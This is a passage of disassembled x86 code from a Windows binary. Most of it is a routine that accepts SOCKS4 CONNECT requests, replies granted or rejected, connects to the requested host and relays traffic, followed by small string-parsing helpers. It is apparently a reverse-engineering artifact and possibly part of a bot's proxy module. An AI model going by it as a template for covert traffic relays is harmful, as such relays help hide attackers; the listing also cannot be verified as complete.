		call	dword_41705C	; ExitProcess

locret_40732B:				; CODE XREF: sub_407148:loc_4072D9j
					; sub_407148+1C2j
		leave
		retn
sub_407148	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40732D	proc near		; DATA XREF: sub_40764D+145o

var_16F0	= dword	ptr -16F0h
var_16EC	= dword	ptr -16ECh
var_16E8	= dword	ptr -16E8h
var_16E4	= dword	ptr -16E4h
var_16E0	= byte ptr -16E0h
var_6E0		= byte ptr -6E0h
var_5E0		= dword	ptr -5E0h
var_5DC		= byte ptr -5DCh
var_5D4		= dword	ptr -5D4h
var_5D0		= byte ptr -5D0h
var_5CF		= byte ptr -5CFh
var_5CE		= dword	ptr -5CEh
var_5C8		= byte ptr -5C8h
var_1C8		= dword	ptr -1C8h
var_1BE		= byte ptr -1BEh
var_1AE		= byte ptr -1AEh
var_1B		= byte ptr -1Bh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 16F0h
		call	sub_416BC0
		push	1BDh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, [ebp+var_1C8]
		mov	[ebp+var_5D4], eax
		push	0
		push	408h
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	dword_417248	; recv
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_40738F
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_407396


loc_40738F:				; CODE XREF: sub_40732D+5Aj
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_407396:				; CODE XREF: sub_40732D+60j
		movzx	eax, [ebp+var_5D0]
		cmp	eax, 4
		jnz	short loc_4073BA
		movzx	eax, [ebp+var_5CF]
		cmp	eax, 1
		jnz	short loc_4073BA
		mov	[ebp+var_16EC],	1
		jmp	short loc_4073C1
; ---------------------------------------------------------------------------


loc_4073BA:				; CODE XREF: sub_40732D+73j
					; sub_40732D+7Fj
		and	[ebp+var_16EC],	0


loc_4073C1:				; CODE XREF: sub_40732D+8Bj
		mov	eax, [ebp+var_16EC]
		mov	[ebp+var_4], eax
		movsx	eax, [ebp+var_1BE]
		test	eax, eax
		jz	short loc_4073F5
		push	10h
		lea	eax, [ebp+var_1BE]
		push	eax
		lea	eax, [ebp+var_5C8]
		push	eax
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4073F5
		and	[ebp+var_4], 0


loc_4073F5:				; CODE XREF: sub_40732D+A6j
					; sub_40732D+C2j
		movsx	eax, [ebp+var_1B]
		test	eax, eax
		jz	short loc_407456
		lea	eax, [ebp+var_6E0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		cmp	[ebp+var_4], 0
		jz	short loc_407423
		mov	[ebp+var_16F0],	offset byte_41DE30
		jmp	short loc_40742D
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: sub_40732D+E8j
		mov	[ebp+var_16F0],	offset dword_418EEC


loc_40742D:				; CODE XREF: sub_40732D+F4j
		push	[ebp+var_16F0]
		movzx	eax, [ebp+var_5D0]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		push	offset dword_418EB8
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 14h


loc_407456:				; CODE XREF: sub_40732D+CEj
		cmp	[ebp+var_4], 0
		jnz	short loc_4074A0
		push	8
		push	0
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_5CF], 5Bh
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_4074A0:				; CODE XREF: sub_40732D+12Dj
		push	0Ah
		lea	eax, [ebp+var_5DC]
		push	eax
		push	[ebp+var_5CE]
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	2710h
		push	0
		lea	eax, [ebp+var_5DC]
		push	eax
		push	[ebp+var_5CE+2]
		call	dword_41721C	; inet_ntoa
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_5E0], eax
		push	8
		push	0
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		cmp	[ebp+var_5E0], 0
		jnz	short loc_407537
		mov	[ebp+var_5CF], 5Bh
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------


loc_407537:				; CODE XREF: sub_40732D+1D7j
		mov	[ebp+var_5CF], 5Ah
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch


loc_407555:				; CODE XREF: sub_40732D+2FDj
		push	[ebp+var_5D4]
		call	sub_40447B
		pop	ecx
		test	eax, eax
		jz	short loc_4075BD
		push	0
		push	1000h
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5D4]
		call	dword_417248	; recv
		mov	[ebp+var_16E4],	eax
		cmp	[ebp+var_16E4],	0
		jz	short loc_407597
		cmp	[ebp+var_16E4],	0FFFFFFFFh
		jnz	short loc_40759C


loc_407597:				; CODE XREF: sub_40732D+25Fj
		jmp	loc_40762F
; ---------------------------------------------------------------------------


loc_40759C:				; CODE XREF: sub_40732D+268j
		push	[ebp+var_16E4]
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5E0]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4075BD
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_4075BD:				; CODE XREF: sub_40732D+236j
					; sub_40732D+28Cj
		push	[ebp+var_5E0]
		call	sub_40447B
		pop	ecx
		test	eax, eax
		jz	short loc_407622
		push	0
		push	1000h
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5E0]
		call	dword_417248	; recv
		mov	[ebp+var_16E8],	eax
		cmp	[ebp+var_16E8],	0
		jz	short loc_4075FF
		cmp	[ebp+var_16E8],	0FFFFFFFFh
		jnz	short loc_407601


loc_4075FF:				; CODE XREF: sub_40732D+2C7j
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_407601:				; CODE XREF: sub_40732D+2D0j
		push	[ebp+var_16E8]
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407622
		jmp	short loc_40762F
; ---------------------------------------------------------------------------


loc_407622:				; CODE XREF: sub_40732D+29Ej
					; sub_40732D+2F1j
		push	32h
		call	dword_41709C	; Sleep
		jmp	loc_407555
; ---------------------------------------------------------------------------


loc_40762F:				; CODE XREF: sub_40732D:loc_407597j
					; sub_40732D+28Ej ...
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_40538D
		pop	ecx
		xor	eax, eax

locret_407649:				; CODE XREF: sub_40732D+64j
					; sub_40732D+16Ej ...
		leave
		retn	4
sub_40732D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40764D	proc near		; DATA XREF: sub_4077DD+B4o

var_1CC		= dword	ptr -1CCh
var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_1B6		= byte ptr -1B6h
var_1A6		= byte ptr -1A6h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		push	1BDh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C4], eax
		cmp	[ebp+var_1C4], 0
		jnz	short loc_4076A8
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4077D9
; ---------------------------------------------------------------------------


loc_4076A8:				; CODE XREF: sub_40764D+46j
		lea	eax, [ebp+var_1BC]
		push	eax
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		push	offset dword_418EF8
		lea	eax, [ebp+var_1A6]
		push	eax
		call	sub_40D53F
		add	esp, 10h


loc_4076CB:				; CODE XREF: sub_40764D+B9j
					; sub_40764D+E1j ...
		push	3E8h
		push	[ebp+var_1C4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C8], eax
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4076F8
		cmp	[ebp+var_1C8], 0
		jnz	short loc_4076FD


loc_4076F8:				; CODE XREF: sub_40764D+A0j
		jmp	loc_4077BF
; ---------------------------------------------------------------------------


loc_4076FD:				; CODE XREF: sub_40764D+A9j
		cmp	[ebp+var_1C8], 0FFFFFFFFh
		jnz	short loc_407708
		jmp	short loc_4076CB
; ---------------------------------------------------------------------------


loc_407708:				; CODE XREF: sub_40764D+B7j
		push	1BDh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1CC], eax
		cmp	[ebp+var_1CC], 0
		jnz	short loc_407730
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_4076CB
; ---------------------------------------------------------------------------


loc_407730:				; CODE XREF: sub_40764D+D3j
		mov	eax, [ebp+var_1CC]
		mov	ecx, [ebp+var_1C8]
		mov	[eax], ecx
		lea	eax, [ebp+var_1BC]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 4
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1B6]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 0Ah
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	1A3h
		lea	eax, [ebp+var_1A6]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 1Ah
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_1CC]
		push	offset sub_40732D
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4077BA
		push	[ebp+var_1CC]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx


loc_4077BA:				; CODE XREF: sub_40764D+153j
		jmp	loc_4076CB
; ---------------------------------------------------------------------------


loc_4077BF:				; CODE XREF: sub_40764D:loc_4076F8j
		push	[ebp+var_1C4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_4077D9:				; CODE XREF: sub_40764D+56j
		leave
		retn	4
sub_40764D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4077DD	proc near		; CODE XREF: sub_40A9CF+17Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_40780F
		push	0Ah
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		mov	[ebp+arg_4], eax


loc_40780F:				; CODE XREF: sub_4077DD+Aj
		push	1BDh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_407825
		jmp	short locret_40789E
; ---------------------------------------------------------------------------


loc_407825:				; CODE XREF: sub_4077DD+44j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_407844
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_10], eax
		jmp	short loc_40784B
; ---------------------------------------------------------------------------


loc_407844:				; CODE XREF: sub_4077DD+5Dj
		mov	[ebp+var_10], offset byte_41DE30


loc_40784B:				; CODE XREF: sub_4077DD+65j
		push	10h
		push	[ebp+var_10]
		mov	eax, [ebp+var_C]
		add	eax, 0Ah
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		add	eax, 1Ah
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	offset dword_418F2C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_C]
		push	offset sub_40764D
		call	sub_4095A4
		add	esp, 14h

locret_40789E:				; CODE XREF: sub_4077DD+46j
		leave
		retn
sub_4077DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078A0	proc near		; CODE XREF: sub_40A9CF+216p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4078B8
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078B8:				; CODE XREF: sub_4078A0+14j
					; sub_4078A0:loc_4078E2j
		cmp	[ebp+var_4], 0
		jnz	short loc_4078C0
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078C0:				; CODE XREF: sub_4078A0+1Cj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_4078E0
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		jmp	short loc_4078E2
; ---------------------------------------------------------------------------


loc_4078E0:				; CODE XREF: sub_4078A0+33j
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------


loc_4078E2:				; CODE XREF: sub_4078A0+3Ej
		jmp	short loc_4078B8
; ---------------------------------------------------------------------------

locret_4078E4:				; CODE XREF: sub_4078A0+16j
					; sub_4078A0+1Ej ...
		leave
		retn
sub_4078A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078E6	proc near		; CODE XREF: sub_407D42+Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4078FC
; ---------------------------------------------------------------------------


loc_4078F5:				; CODE XREF: sub_4078E6:loc_407921j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4078FC:				; CODE XREF: sub_4078E6+Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407923
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+arg_4]
		cmp	eax, ecx
		jnz	short loc_407921
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_407921:				; CODE XREF: sub_4078E6+32j
		jmp	short loc_4078F5
; ---------------------------------------------------------------------------


loc_407923:				; CODE XREF: sub_4078E6+21j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_4078E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407928	proc near		; CODE XREF: sub_40E618+2Bp
					; sub_40E618+185p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_10], 0
		jnz	short loc_407963
		mov	eax, [ebp+arg_10]
		shl	eax, 2
		push	eax
		push	0
		push	[ebp+arg_8]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		shl	eax, 2
		push	eax
		push	0
		push	[ebp+arg_C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		xor	eax, eax
		jmp	locret_407A54
; ---------------------------------------------------------------------------


loc_407963:				; CODE XREF: sub_407928+Aj
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	[ebp+arg_0]
		call	sub_40813C
		add	esp, 0Ch
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax], ecx
		mov	[ebp+var_8], 1
		jmp	short loc_4079A1
; ---------------------------------------------------------------------------


loc_40799A:				; CODE XREF: sub_407928:loc_407A4Cj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_4079A1:				; CODE XREF: sub_407928+70j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_10]
		jge	loc_407A51
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+eax*4-4], 0
		jz	short loc_407A0A
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_8]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_4079F8
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+eax*4]
		sub	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	short loc_4079FC
; ---------------------------------------------------------------------------


loc_4079F8:				; CODE XREF: sub_407928+B8j
		and	[ebp+var_C], 0


loc_4079FC:				; CODE XREF: sub_407928+CEj
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_C]
		mov	[ecx+eax*4], edx
		jmp	short loc_407A4C
; ---------------------------------------------------------------------------


loc_407A0A:				; CODE XREF: sub_407928+90j
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		push	0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		push	0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_C]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		dec	eax
		jmp	short locret_407A54
; ---------------------------------------------------------------------------


loc_407A4C:				; CODE XREF: sub_407928+E0j
		jmp	loc_40799A
; ---------------------------------------------------------------------------


loc_407A51:				; CODE XREF: sub_407928+7Fj
		mov	eax, [ebp+arg_10]

locret_407A54:				; CODE XREF: sub_407928+36j
					; sub_407928+122j
		leave
		retn
sub_407928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A56	proc near		; CODE XREF: sub_401146+6Bp
					; sub_401146+CAp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_407A81
		cmp	ecx, 1
		jz	short loc_407A7E


loc_407A6E:				; CODE XREF: sub_407A56+26j
		mov	al, [esi]
		mov	[edi], al
		test	al, al
		jz	short loc_407A81
		inc	esi
		inc	edi
		dec	ecx
		cmp	ecx, 1
		jnz	short loc_407A6E


loc_407A7E:				; CODE XREF: sub_407A56+16j
		mov	byte ptr [edi],	0


loc_407A81:				; CODE XREF: sub_407A56+11j
					; sub_407A56+1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407A56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A86	proc near		; CODE XREF: sub_4097A7+17p
					; sub_4098F3+17p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407A97
; ---------------------------------------------------------------------------


loc_407A90:				; CODE XREF: sub_407A86+3Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407A97:				; CODE XREF: sub_407A86+8j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407AC6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_407AC2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jg	short loc_407AC2
		jmp	short loc_407A90
; ---------------------------------------------------------------------------


loc_407AC2:				; CODE XREF: sub_407A86+2Aj
					; sub_407A86+38j
		xor	al, al
		jmp	short locret_407AC8
; ---------------------------------------------------------------------------


loc_407AC6:				; CODE XREF: sub_407A86+1Cj
		mov	al, 1

locret_407AC8:				; CODE XREF: sub_407A86+3Ej
		leave
		retn
sub_407A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407ACA	proc near		; CODE XREF: sub_401000+F6p
					; sub_4148CE+61p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_8]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		jmp	short loc_407AED
; ---------------------------------------------------------------------------


loc_407AE6:				; CODE XREF: sub_407ACA:loc_407B58j
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax


loc_407AED:				; CODE XREF: sub_407ACA+1Aj
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_4]
		cmp	[ebp+var_C], eax
		jg	short loc_407B5A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_407B37
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_407B37
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		sub	ecx, 20h
		cmp	eax, ecx
		jnz	short loc_407B58


loc_407B37:				; CODE XREF: sub_407ACA+3Fj
					; sub_407ACA+55j
		push	[ebp+var_4]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407B58
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		jmp	short locret_407B5C
; ---------------------------------------------------------------------------


loc_407B58:				; CODE XREF: sub_407ACA+6Bj
					; sub_407ACA+84j
		jmp	short loc_407AE6
; ---------------------------------------------------------------------------


loc_407B5A:				; CODE XREF: sub_407ACA+2Cj
		xor	eax, eax

locret_407B5C:				; CODE XREF: sub_407ACA+8Cj
		leave
		retn
sub_407ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B5E	proc near		; CODE XREF: sub_40A2D2+11Dp
					; sub_40E943+20p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407B70
; ---------------------------------------------------------------------------


loc_407B69:				; CODE XREF: sub_407B5E:loc_407BEEj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_407B70:				; CODE XREF: sub_407B5E+9j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407B85
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		jmp	short locret_407BF3
; ---------------------------------------------------------------------------


loc_407B85:				; CODE XREF: sub_407B5E+1Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_407BA1
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_407BEE


loc_407BA1:				; CODE XREF: sub_407B5E+33j
		and	[ebp+var_8], 0
		jmp	short loc_407BAE
; ---------------------------------------------------------------------------


loc_407BA7:				; CODE XREF: sub_407B5E:loc_407BECj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_407BAE:				; CODE XREF: sub_407B5E+47j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		movsx	eax, byte ptr [ecx+eax]
		cmp	eax, 0Dh
		jz	short loc_407BD2
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		movsx	eax, byte ptr [ecx+eax]
		cmp	eax, 0Ah
		jnz	short loc_407BE1


loc_407BD2:				; CODE XREF: sub_407B5E+60j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		and	byte ptr [ecx+eax], 0
		jmp	short loc_407BEC
; ---------------------------------------------------------------------------


loc_407BE1:				; CODE XREF: sub_407B5E+72j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		jmp	short locret_407BF3
; ---------------------------------------------------------------------------


loc_407BEC:				; CODE XREF: sub_407B5E+81j
		jmp	short loc_407BA7
; ---------------------------------------------------------------------------


loc_407BEE:				; CODE XREF: sub_407B5E+41j
		jmp	loc_407B69
; ---------------------------------------------------------------------------

locret_407BF3:				; CODE XREF: sub_407B5E+25j
					; sub_407B5E+8Cj
		leave
		retn
sub_407B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BF5	proc near		; CODE XREF: sub_411A09+5Dp
					; sub_411A09+F3p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp


loc_407BF8:				; CODE XREF: sub_407BF5:loc_407C28j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_0]
		inc	ecx
		mov	[ebp+arg_0], ecx
		test	eax, eax
		jz	short loc_407C2A
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407C15
		jmp	short loc_407C2A
; ---------------------------------------------------------------------------


loc_407C15:				; CODE XREF: sub_407BF5+1Cj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407C28
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax],	0
		jmp	short loc_407C2A
; ---------------------------------------------------------------------------


loc_407C28:				; CODE XREF: sub_407BF5+29j
		jmp	short loc_407BF8
; ---------------------------------------------------------------------------


loc_407C2A:				; CODE XREF: sub_407BF5+12j
					; sub_407BF5+1Ej ...
		pop	ebp
		retn
sub_407BF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407C2C	proc near		; CODE XREF: sub_4083AD+2F2p
					; sub_40CA29+91p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
